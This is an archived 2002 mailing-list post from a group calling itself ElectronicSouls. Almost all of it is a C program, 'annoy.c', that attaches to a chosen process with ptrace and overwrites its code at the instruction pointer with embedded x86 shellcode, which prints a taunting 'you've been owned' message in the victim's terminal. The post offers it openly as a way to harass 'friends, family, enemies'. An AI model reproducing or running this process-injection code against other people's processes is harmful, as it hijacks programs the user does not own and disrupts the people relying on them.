[<prev] [next>] [day] [month] [year] [list]
Message-ID: <200211290716.gAT7GKbw054732@mailserver2.hushmail.com>
From: es at hush.com (es@...h.com)
Subject: [ElectronicSouls] - ?????
-----BEGIN PGP SIGNED MESSAGE-----
Dear List,
We simply don't know what to say about this one.
# cat annoy.c
/* (C) roc [ElectronicSouls]
* annoy your friends, family, enemies, etc
* made for fun
* sure I could've done this other ways(yes i know I could've) but i didn't wanna.
* people have done it that way, i'm doing it this way.
* (outkast)
*
* .. My Screen ..
* bash$ ./a.out 29215(one of my processes)
* We're gonna have fun with this....
* We're going to be annoying 29215(I hope this is the process of a shell and not app)
* [+]Attached...
* [+]Working magic...
* [*]Our imaginary friend name is 0x400c3ab4
* [+] Our imaginary friend left..
* [+]And we're gone too, lets hope everything worked
* .. Other Screen ..
* <pressed a key>
* bash$
* you've been owned
* the elite way
*
* kinda cool if you were bored like me
*/
#include <stdio.h>
#include <stdlib.h>
#include <linux/user.h>
unsigned char stuff[] = "\xeb\x1c\x31\xdb\x31\xc9\xf7\xe3"
"\x59\xb0\x04\x43\xb2\x2b\xcd\x80"
"\x99\x31\xc9\xb0\xa2\x52\x41\x51"
"\x89\xe3\x89\xd9\xcd\x80\xe8\xdf"
"\xff\xff\xff\x0b\x1b\x5b\x33\x36"
"\x6d\x79\x6f\x75\x27\x76\x65\x20"
"\x62\x65\x65\x6e\x20\x6f\x77\x6e"
"\x65\x64\x0b\x1b\x5b\x33\x33\x6d"
"\x74\x68\x65\x20\x65\x6c\x69\x74"
"\x65\x20\x77\x61\x79\x0b\x00\x00"
"\x00\x00";
int main(int argc, char *argv[]) {
pid_t object;
int s,i;
long int what_i_want;
struct user_regs_struct regs;
printf("We're gonna have fun with this....\n");
if(argv[1] == NULL) {
printf("Usage: %s <pid to annoy>\n", argv[0]);
exit(EXIT_FAILURE);
}
else { object = atoi(argv[1]); }
printf("We're going to be annoying %d(I hope you chose well)\n", object);
if((s = ptrace(PTRACE_ATTACH,object,0,0)) != 0) {
perror("PTRACH_ATTACH: ");
exit(EXIT_FAILURE);
}
printf("[+]Attached...\n");
if ((s = ptrace(PTRACE_CONT, object, 0, 0)) != 0) {
perror("PTRACE_CONT: ");
exit(EXIT_FAILURE);
}
if((s = ptrace(PTRACE_GETREGS,object,0, ®s)) != 0) {
perror("PTRACE_GETREGS: ");
exit(EXIT_FAILURE);
}
printf("[+]Working magic...\n");
printf("\t[*]Our imaginary friend name is 0x%x \n", regs.eip);
for(i=0; i<=strlen(stuff);i+=4) {
if((s = ptrace(PTRACE_POKEDATA,object, regs.eip+i, *(int *)(stuff+i)))) {
perror("PTRACE_POKEDATA: ");
exit(EXIT_FAILURE);
}
}
printf("[+] Our imaginary friend left..\n");
if((s = ptrace(PTRACE_DETACH,object,0, 0)) != 0) {
perror("PTRACE_DETACH: ");
exit(EXIT_FAILURE);
}
printf("[+]And we're gone too, lets hope everything worked\n");
exit(EXIT_SUCCESS);
}
#
The Electronic Souls Crew
[ElectronicSouls] (c) 2002
"Trashmen have the best lives."
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify
wlMEARECABMFAj3nFFMMHGVzQGh1c2guY29tAAoJEN5nGqhGcjlt3noAn1Vi2QSqKKKt
ol+VrZGn9DmYSBYyAJ9EYGjfBptciJ76HreAqmrSE7Tl3Q==
=jmSX
-----END PGP SIGNATURE-----
Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2
Big $$$ to be made with the HushMail Affiliate Program:
https://www.hushmail.com/about.php?subloc=affiliate&l=427
Powered by blists - more mailing lists